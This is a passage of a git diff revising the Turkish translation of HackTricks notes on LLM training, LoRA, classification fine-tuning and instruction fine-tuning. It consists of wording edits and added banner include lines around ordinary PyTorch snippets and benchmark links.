ve `create_dataloader_v1` fonksiyonları daha önceki bir bölümde tartışılmıştır. -Buradan itibaren, metnin %90'ının eğitim için kullanılacağı, %10'unun ise doğrulama için kullanılacağı ve her iki kümenin de 2 farklı veri yükleyicisinde saklandığı belirtilmiştir.\ -Bazen veri setinin bir kısmının modelin performansını daha iyi değerlendirmek için bir test seti olarak bırakıldığını unutmayın. +Buradan itibaren, metnin %90'ının eğitim için kullanılacağı, %10'unun ise doğrulama için kullanılacağı ve her iki kümenin 2 farklı veri yükleyicisinde saklandığı belirtilmiştir.\ +Veri setinin bir kısmının, modelin performansını daha iyi değerlendirmek için bir test seti olarak bırakıldığını unutmayın. -Her iki veri yükleyici de aynı batch boyutunu, maksimum uzunluğu, stride'ı ve işçi sayısını (bu durumda 0) kullanmaktadır.\ +Her iki veri yükleyici de aynı batch boyutunu, maksimum uzunluğu ve stride ile num workers'ı (bu durumda 0) kullanmaktadır.\ Ana farklar, her birinin kullandığı veridir ve doğrulayıcı, son veriyi atmamaktadır ve veriyi karıştırmamaktadır çünkü doğrulama amaçları için gerekli değildir. -Ayrıca, **stride'ın bağlam uzunluğu kadar büyük olması**, verilerin eğitiminde kullanılan bağlamlar arasında örtüşme olmayacağı anlamına gelir (aşırı uyumu azaltır ama aynı zamanda eğitim veri setini de azaltır). +Ayrıca, **stride'ın bağlam uzunluğu kadar büyük olması**, verileri eğitmek için kullanılan bağlamlar arasında örtüşme olmayacağı anlamına gelir (aşırı uyumu azaltır ama aynı zamanda eğitim veri setini de etkiler). -Dahası, bu durumda batch boyutunun 2 olduğunu ve verilerin 2 batch'e bölündüğünü unutmayın; bunun ana amacı paralel işlemeyi sağlamak ve her batch başına tüketimi azaltmaktır. +Dahası, bu durumda batch boyutunun 2 olduğunu ve verilerin 2 batch'e bölündüğünü unutmayın, bunun ana amacı paralel işlemeyi sağlamak ve her batch başına tüketimi azaltmaktır. ```python train_ratio = 0.90 split_idx = int(train_ratio * len(text_data)) @@ -748,18 +750,18 @@ print("Validation loss:", val_loss) ``` ### Eğitim fonksiyonları -`generate_and_print_sample` fonksiyonu, bir bağlam alacak ve modelin o noktada ne kadar iyi olduğunu anlamak için bazı token'lar üretecektir. Bu, her adımda `train_model_simple` tarafından çağrılır. +`generate_and_print_sample` fonksiyonu, bir bağlam alacak ve modelin o noktada ne kadar iyi olduğunu anlamak için bazı token'lar üretecektir. Bu, `train_model_simple` tarafından her adımda çağrılır. `evaluate_model` fonksiyonu, eğitim fonksiyonuna belirtilen sıklıkta çağrılır ve model eğitimindeki o noktada eğitim kaybını ve doğrulama kaybını ölçmek için kullanılır. Büyük fonksiyon `train_model_simple`, modeli gerçekten eğiten fonksiyondur. Beklentileri şunlardır: -- Eğitim verisi yükleyici (verilerin zaten ayrılmış ve eğitim için hazırlanmış haliyle) +- Eğitim verisi yükleyici (verilerin zaten ayrılmış ve eğitim için hazırlanmış hali) - Doğrulayıcı yükleyici - Eğitim sırasında kullanılacak **optimizer**: Bu, gradyanları kullanacak ve kaybı azaltmak için parametreleri güncelleyecek olan fonksiyondur. Bu durumda, göreceğiniz gibi, `AdamW` kullanılır, ancak daha birçok seçenek vardır. -- Her turda gradyanları biriktirmemek için `optimizer.zero_grad()` çağrılır. -- **`lr`** parametresi, modelin parametrelerini güncellerken optimizasyon sürecinde atılan **adımların boyutunu** belirleyen **öğrenme oranıdır**. Daha **küçük** bir öğrenme oranı, optimizer'ın ağırlıklara **daha küçük güncellemeler** yapması anlamına gelir, bu da daha **kesin** bir yakınsama sağlayabilir ancak eğitimi **yavaşlatabilir**. Daha **büyük** bir öğrenme oranı eğitimi hızlandırabilir ancak kayıp fonksiyonunun minimumunu **aşma riski** taşır (**kayıp fonksiyonunun minimize edildiği noktayı atlama**). -- **Ağırlık Çürümesi**, büyük ağırlıkları cezalandıran ekstra bir terim ekleyerek **Kayıp Hesaplama** adımını değiştirir. Bu, optimizer'ı daha küçük ağırlıklarla çözümler bulmaya teşvik eder, veriyi iyi bir şekilde uyum sağlamak ile modeli basit tutmak arasında denge kurarak makine öğrenimi modellerinde aşırı uyumu önler. +- Her turda gradyanları sıfırlamak için `optimizer.zero_grad()` çağrılır, böylece birikmezler. +- **`lr`** parametresi, modelin parametrelerini güncellerken optimizasyon sürecinde alınan **adım boyutunu** belirleyen **öğrenme oranıdır**. Daha **küçük** bir öğrenme oranı, optimizasyoncunun ağırlıklara **daha küçük güncellemeler** yapması anlamına gelir, bu da daha **kesin** bir yakınsama sağlayabilir ancak eğitimi **yavaşlatabilir**. Daha **büyük** bir öğrenme oranı eğitimi hızlandırabilir ancak kayıp fonksiyonunun minimumunu **aşma riski** taşır (**kayıp fonksiyonunun minimize edildiği noktayı atlama**). +- **Ağırlık Çürümesi**, büyük ağırlıkları cezalandıran ekstra bir terim ekleyerek **Kayıp Hesaplama** adımını değiştirir. Bu, optimizasyoncunun daha küçük ağırlıklarla çözümler bulmasını teşvik eder, veriyi iyi bir şekilde uyum sağlamak ile modeli basit tutmak arasında denge kurarak makine öğrenimi modellerinde aşırı uyum sağlamayı önler. - L2 düzenlemesi ile SGD gibi geleneksel optimizatörler, ağırlık çürümesini kayıp fonksiyonunun gradyanı ile birleştirir. Ancak, **AdamW** (Adam optimizatörünün bir varyantı) ağırlık çürümesini gradyan güncellemesinden ayırarak daha etkili bir düzenleme sağlar. - Eğitim için kullanılacak cihaz - Epoch sayısı: Eğitim verisi üzerinde geçilecek süre sayısı @@ -828,9 +830,9 @@ print(decoded_text.replace("\n", " ")) # Compact print format model.train() # Back to training model applying all the configurations ``` > [!TIP] -> Öğrenme oranını artırmak için **lineer ısınma** ve **kosinüs azalması** adı verilen birkaç ilgili teknik vardır. +> Öğrenme oranını artırmak için **lineer ısınma** ve **kosinüs azalması** olarak adlandırılan birkaç ilgili teknik vardır. > -> **Lineer ısınma**, başlangıç öğrenme oranını ve maksimum öğrenme oranını tanımlamak ve her epoch'tan sonra bunu sürekli güncellemektir. Bunun nedeni, eğitime daha küçük ağırlık güncellemeleriyle başlamak, modelin eğitim aşamasında büyük, dengesiz güncellemelerle karşılaşma riskini azaltmasıdır.\ +> **Lineer ısınma**, başlangıç öğrenme oranını ve maksimum öğrenme oranını tanımlamak ve her epoch'tan sonra bunu tutarlı bir şekilde güncellemeyi içerir. Bunun nedeni, eğitime daha küçük ağırlık güncellemeleriyle başlamak, modelin eğitim aşamasında büyük, dengesiz güncellemelerle karşılaşma riskini azaltmasıdır.\ > **Kosinüs azalması**, **ısınma** aşamasından sonra yarım-kosinüs eğrisi izleyerek **öğrenme oranını kademeli olarak azaltan** bir tekniktir; bu, ağırlık güncellemelerini yavaşlatarak **kaybın minimumunu aşma riskini en aza indirmeyi** ve sonraki aşamalarda eğitim istikrarını sağlamayı amaçlar. > > _Bu iyileştirmelerin önceki kodda yer almadığını unutmayın._ @@ -917,7 +919,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) model.train(); # Put in training mode ``` -Ya da sadece kullanmayı planlıyorsanız modeli: +Ya da sadece modeli kullanmayı planlıyorsanız: ```python # Save the model torch.save(model.state_dict(), "model.pth") @@ -929,13 +931,16 @@ model.load_state_dict(torch.load("model.pth", map_location=device)) model.eval() # Put in eval mode ``` -## GPT2 Ağırlıklarının Yüklenmesi +## GPT2 ağırlıklarını yükleme -GPT2 ağırlıklarını yerel olarak yüklemek için 2 hızlı betik bulunmaktadır. Her ikisi için de [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) deposunu yerel olarak klonlayabilirsiniz, ardından: +GPT2 ağırlıklarını yerel olarak yüklemek için 2 hızlı betik vardır. Her ikisi için de yerel olarak [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) deposunu klonlayabilirsiniz, ardından: -- Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) tüm ağırlıkları indirecek ve OpenAI'den beklenen formatlara dönüştürecektir. Betik ayrıca gerekli yapılandırma ile ve "Her çaba seni ileri taşır" ifadesiyle hazırlanmıştır. +- Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) tüm ağırlıkları indirecek ve OpenAI'den LLM'mizin beklediği formatlara dönüştürecektir. Betik ayrıca gerekli yapılandırma ile ve "Her çaba seni ileriye taşır" ifadesiyle hazırlanmıştır. - Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) yerel olarak herhangi bir GPT2 ağırlığını yüklemenizi sağlar (sadece `CHOOSE_MODEL` değişkenini değiştirin) ve bazı istemlerden metin tahmin etmenizi sağlar. ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8216d737e..d76ddc00d 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,13 +1,15 @@ # 7.0. LoRA İyileştirmeleri +{{#include /banners/hacktricks-training.md}} + ## LoRA İyileştirmeleri > [!TIP] -> **LoRA'nın kullanımı, zaten eğitilmiş modelleri ince ayar yapmak için gereken hesaplamayı büyük ölçüde azaltır.** +> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır. LoRA, **büyük modelleri** yalnızca modelin **küçük bir kısmını** değiştirerek verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitmeniz gereken parametre sayısını azaltarak **bellek** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni: -1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise ( **A** ve **B** olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir. +1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise (A ve B olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir. 1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır ve güncellemeyi hesaplamayı azaltır:\ @@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha) ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index c95e0d771..f000a3828 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,27 +1,29 @@ # 7.1. Sınıflandırma için İnce Ayar +{{#include /banners/hacktricks-training.md}} + ## Nedir -İnce ayar, büyük miktarda veriden **genel dil kalıplarını** öğrenmiş bir **önceden eğitilmiş modeli** alıp bunu **belirli bir görevi** yerine getirecek şekilde veya alan spesifik dili anlamak için **uyarlama** sürecidir. Bu, modelin daha küçük, görev spesifik bir veri seti üzerinde eğitimine devam edilerek gerçekleştirilir; böylece model, yeni verinin inceliklerine daha iyi uyum sağlamak için parametrelerini ayarlarken, zaten edinmiş olduğu geniş bilgiyi kullanabilir. İnce ayar, modelin sıfırdan yeni bir model eğitmeye gerek kalmadan, özel uygulamalarda daha doğru ve ilgili sonuçlar vermesini sağlar. +İnce ayar, büyük miktarda veriden **genel dil kalıplarını** öğrenmiş bir **önceden eğitilmiş modeli** alıp bunu **belirli bir görevi** yerine getirecek şekilde veya alan spesifik dili anlamak için **uyarlama** sürecidir. Bu, modelin daha küçük, görev spesifik bir veri kümesi üzerinde eğitimine devam edilerek gerçekleştirilir; böylece model, yeni verinin inceliklerine daha iyi uyum sağlamak için parametrelerini ayarlarken, zaten edinmiş olduğu geniş bilgiyi kullanabilir. İnce ayar, modelin sıfırdan yeni bir model eğitmeye gerek kalmadan, özel uygulamalarda daha doğru ve ilgili sonuçlar sunmasını sağlar. > [!TIP] -> LLM'yi "anlayan" bir metin için önceden eğitmek oldukça pahalı olduğundan, genellikle açık kaynaklı önceden eğitilmiş modelleri belirli bir görevi yerine getirmesi için ince ayar yapmak daha kolay ve ucuzdur. +> "Metni anlayan" bir LLM'yi önceden eğitmek oldukça pahalı olduğundan, genellikle açık kaynaklı önceden eğitilmiş modelleri belirli bir görevi yerine getirmesi için ince ayar yapmak daha kolay ve ucuzdur. > [!TIP] > Bu bölümün amacı, zaten önceden eğitilmiş bir modeli ince ayar yapmayı göstermektir; böylece LLM yeni metin üretmek yerine, verilen metnin her bir verilen kategoriye ait olma **olasılıklarını** seçecektir (örneğin, bir metnin spam olup olmadığını). -## Veri setini hazırlama +## Veri kümesini hazırlama -### Veri seti boyutu +### Veri kümesi boyutu Elbette, bir modeli ince ayar yapmak için LLM'nizi özelleştirmek için bazı yapılandırılmış verilere ihtiyacınız var. [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) adresinde önerilen örnekte, GPT2 bir e-postanın spam olup olmadığını tespit etmek için [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip) verilerini kullanarak ince ayar yapılmıştır. -Bu veri seti, "spam" olanlardan çok daha fazla "spam olmayan" örnek içermektedir; bu nedenle kitap, **"spam olmayan" örneklerden yalnızca "spam" olanlar kadarını kullanmayı** önermektedir (bu nedenle, eğitim verisinden tüm ekstra örnekleri kaldırmak). Bu durumda, her birinden 747 örnek vardı. +Bu veri kümesi, "spam" olanlardan çok daha fazla "spam değil" örneği içermektedir; bu nedenle kitap, **"spam değil" örneklerinden yalnızca "spam" olanlar kadarını kullanmayı** önermektedir (bu nedenle, eğitim verisinden tüm ekstra örnekleri kaldırmak). Bu durumda, her birinden 747 örnek vardı. -Ardından, **veri setinin %70'i** **eğitim** için, **%10'u** **doğrulama** için ve **%20'si** **test** için kullanılır. +Ardından, **veri kümesinin %70'i** **eğitim** için, **%10'u** **doğrulama** için ve **%20'si** **test** için kullanılır. - **Doğrulama seti**, modelin **hiperparametrelerini** ince ayar yapmak ve model mimarisi hakkında kararlar almak için eğitim aşamasında kullanılır; bu, modelin görülmemiş veriler üzerindeki performansına geri bildirim sağlayarak aşırı uyum sağlamayı önlemeye yardımcı olur. Nihai değerlendirmeyi önyargılamadan yinelemeli iyileştirmelere olanak tanır. -- Bu, bu veri setinde yer alan verilerin doğrudan eğitim için kullanılmadığı, ancak en iyi **hiperparametreleri** ayarlamak için kullanıldığı anlamına gelir; bu nedenle bu set, modelin performansını test seti gibi değerlendirmek için kullanılamaz. +- Bu, bu veri kümesine dahil edilen verilerin doğrudan eğitim için kullanılmadığı, ancak en iyi **hiperparametreleri** ayarlamak için kullanıldığı anlamına gelir; bu nedenle bu set, modelin performansını test seti gibi değerlendirmek için kullanılamaz. - Aksine, **test seti**, model tamamen eğitildikten ve tüm ayarlamalar tamamlandıktan **sonra yalnızca** kullanılır; bu, modelin yeni, görülmemiş verilere genelleme yeteneğini tarafsız bir şekilde değerlendirir. Test setindeki bu nihai değerlendirme, modelin gerçek dünya uygulamalarında nasıl performans göstermesi gerektiğine dair gerçekçi bir gösterge sunar. ### Girdi uzunluğu @@ -45,9 +47,9 @@ in_features=BASE_CONFIG["emb_dim"], out_features=num_classes ) ``` -## Ayarları ince ayar yapmak +## Ayarları Ayarlamak -Hızlı bir şekilde ince ayar yapmak için tüm parametreleri ince ayar yapmak yerine sadece bazı son parametreleri ince ayar yapmak daha kolaydır. Bunun nedeni, alt katmanların genellikle temel dil yapıları ve uygulanabilir anlamları yakaladığı bilinmektedir. Bu nedenle, sadece **son katmanları ince ayar yapmak genellikle yeterlidir ve daha hızlıdır**. +Hızlı bir şekilde ince ayar yapmak için tüm parametreleri ayarlamak yerine sadece bazı son parametreleri ayarlamak daha kolaydır. Bunun nedeni, alt katmanların genellikle temel dil yapıları ve uygulanabilir anlamları yakaladığı bilinmektedir. Bu nedenle, **sadece son katmanları ince ayar yapmak genellikle yeterlidir ve daha hızlıdır**. ```python # This code makes all the parameters of the model unrtainable for param in model.parameters(): @@ -64,9 +66,9 @@ param.requires_grad = True ``` ## Eğitim için kullanılacak girdiler -Önceki bölümlerde LLM, modelin dili daha iyi anlaması için, tahmin edilen her token'ın kaybını azaltarak eğitildi; bu, tahmin edilen token'ların neredeyse tamamının giriş cümlesinde olduğu (sadece sonunda gerçekten tahmin edilen 1 token vardı) anlamına geliyordu. +Önceki bölümlerde LLM, her tahmin edilen token'ın kaybını azaltarak eğitildi, bu da tahmin edilen token'ların neredeyse tamamının giriş cümlesinde olduğu (sadece sonunda gerçekten tahmin edilen 1 token vardı) modelin dili daha iyi anlaması içindi. -Bu durumda, modelin spam olup olmadığını tahmin edebilmesiyle ilgileniyoruz, bu nedenle yalnızca tahmin edilen son token ile ilgileniyoruz. Bu nedenle, önceki eğitim kayıp fonksiyonlarımızı yalnızca bu token'ı dikkate alacak şekilde değiştirmek gerekiyor. +Bu durumda, modelin spam olup olmadığını tahmin edebilmesiyle ilgileniyoruz, bu nedenle yalnızca tahmin edilen son token ile ilgileniyoruz. Bu nedenle, önceki eğitim kaybı fonksiyonlarımızı yalnızca bu token'ı dikkate alacak şekilde değiştirmek gerekiyor. Bu, [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) adresinde şu şekilde uygulanmıştır: ```python @@ -99,7 +101,7 @@ logits = model(input_batch)[:, -1, :] # Logits of last output token loss = torch.nn.functional.cross_entropy(logits, target_batch) return loss ``` -Her bir batch için yalnızca **son tahmin edilen token'ın logits'leriyle** ilgilendiğimizi unutmayın. +Not edin ki her bir batch için yalnızca **son tokenin tahmin edilen logits'leriyle** ilgileniyoruz. ## Tam GPT2 ince ayar sınıflandırma kodu @@ -108,3 +110,5 @@ GPT2'yi bir spam sınıflandırıcısı olarak ince ayar yapmak için tüm kodu ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 0208cddc2..bc1f368b5 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,4 +1,6 @@ -# 7.2. Talimatları Takip Etmek için İnce Ayar +# 7.2. Talimatları Takip Etmek İçin İnce Ayar + +{{#include /banners/hacktricks-training.md}} > [!TIP] > Bu bölümün amacı, **metin üretmekten ziyade talimatları takip etmek için önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek. @@ -49,52 +51,54 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}" print(model_input + desired_response) ``` -Sonra, her zamanki gibi, veri kümesini eğitim, doğrulama ve test için setlere ayırmak gereklidir. +O halde, her zamanki gibi, veri kümesini eğitim, doğrulama ve test için setlere ayırmak gereklidir. ## Batching & Data Loaders Sonra, eğitim için tüm girdileri ve beklenen çıktıları gruplamak gereklidir. Bunun için: -- Metinleri tokenleştir -- Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldur -- Özel bir birleştirme fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluştur -- Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştir: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştir (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir) -- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskele. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir. +- Metinleri tokenleştirin +- Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldurun +- Özel bir toplama fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluşturun +- Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştirin: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştirin (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir) +- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskeleyin. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir. Bunu oluşturduktan sonra, her veri kümesi (eğitim, doğrulama ve test) için veri yükleyicilerini oluşturma zamanı. ## Load pre-trained LLM & Fine tune & Loss Checking -İnce ayar yapmak için önceden eğitilmiş bir LLM yüklemek gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür. +Bir önceden eğitilmiş LLM'yi yükleyip ince ayar yapmak gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür. -Eğitim sırasında, eğitim kaybı ve doğrulama kaybının epochlar boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\ -Aşırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı epoch'ta eğitimi durdurmak en basit şeydir. +Eğitim sırasında, eğitim kaybı ve doğrulama kaybının dönemler boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\ +Aşırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı dönemde eğitimi durdurmak en basit şeydir. ## Response Quality Bu, kayıp değişimlerine daha fazla güvenilebilecek bir sınıflandırma ince ayarı olmadığı için, test setindeki yanıtların kalitesini kontrol etmek de önemlidir. Bu nedenle, tüm test setlerinden üretilen yanıtları toplamak ve **kalitelerini manuel olarak kontrol etmek** önerilir; böylece yanlış yanıtlar olup olmadığını görebilirsiniz (LLM'nin yanıt cümlesinin formatını ve sözdizimini doğru bir şekilde oluşturması mümkün, ancak tamamen yanlış bir yanıt vermesi de mümkündür. Kayıp değişimi bu davranışı yansıtmayacaktır).\ -Ayrıca, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek yanıtları değerlendirmelerini istemek** de mümkündür. +Bu incelemeyi, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek ve onlardan yanıtları değerlendirmelerini isteyerek** de gerçekleştirmek mümkündür. Yanıtların kalitesini doğrulamak için çalıştırılacak diğer testler: 1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU, bir modelin bilgi ve problem çözme yeteneklerini 57 konu üzerinde değerlendirir; bunlar arasında beşeri bilimler, bilimler ve daha fazlası bulunmaktadır. Farklı zorluk seviyelerinde anlayışı değerlendirmek için çoktan seçmeli sorular kullanır. -2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girer ve birden fazla chatbot, doğrudan karşılaştırılabilen yanıtlar üretir. -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, GPT-4 gibi gelişmiş bir LLM'nin diğer modellerin çeşitli istemlere verdiği yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir. +2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girdiğinde, birden fazla chatbot yanıtlar üretir ve bunlar doğrudan karşılaştırılabilir. +3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, GPT-4 gibi gelişmiş bir LLM'nin çeşitli istemlere yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir. 4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE, duygu analizi, metin çıkarımı ve soru yanıtlama gibi dokuz doğal dil anlama görevinden oluşan bir koleksiyondur. 5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE üzerine inşa edilen SuperGLUE, mevcut modeller için zorlayıcı olan daha zorlu görevleri içerir. 6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench, bir modelin akıl yürütme, çeviri ve soru yanıtlama gibi alanlardaki yeteneklerini test eden 200'den fazla görev içeren büyük ölçekli bir benchmark'tır. -7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, sağlamlık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar. +7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, dayanıklılık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar. 8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI tarafından geliştirilen, AI modellerinin özel ve standartlaştırılmış görevlerde test edilmesine olanak tanıyan açık kaynaklı bir değerlendirme çerçevesidir. 9. [**HumanEval**](https://github.com/openai/human-eval)**:** Dil modellerinin kod üretme yeteneklerini değerlendirmek için kullanılan bir dizi programlama problemi. -10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin doğru yanıt vermek için metni anlaması gereken Wikipedia makaleleri hakkında sorulardan oluşur. -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve yanıtları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri kümesi. +10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin metni anlaması gerektiği Wikipedia makaleleri hakkında sorulardan oluşur. +11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve cevapları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri kümesi. ve daha birçokları ## Follow instructions fine-tuning code -Bu ince ayarı gerçekleştirmek için kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz. +Bu ince ayarı gerçekleştirmek için bir kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz. ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 1c067aabb..4d15286bc 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,6 +1,8 @@ # LLM Eğitimi - Veri Hazırlığı -**Bunlar, çok önerilen bir kitaptan aldığım notlar** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **ve bazı ek bilgiler.** +{{#include /banners/hacktricks-training.md}} + +**Bunlar, bazı ek bilgilerle birlikte çok önerilen kitabımdan aldığım notlar** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **.** ## Temel Bilgiler @@ -32,9 +34,9 @@ Bilmeniz gereken bazı temel kavramlar için 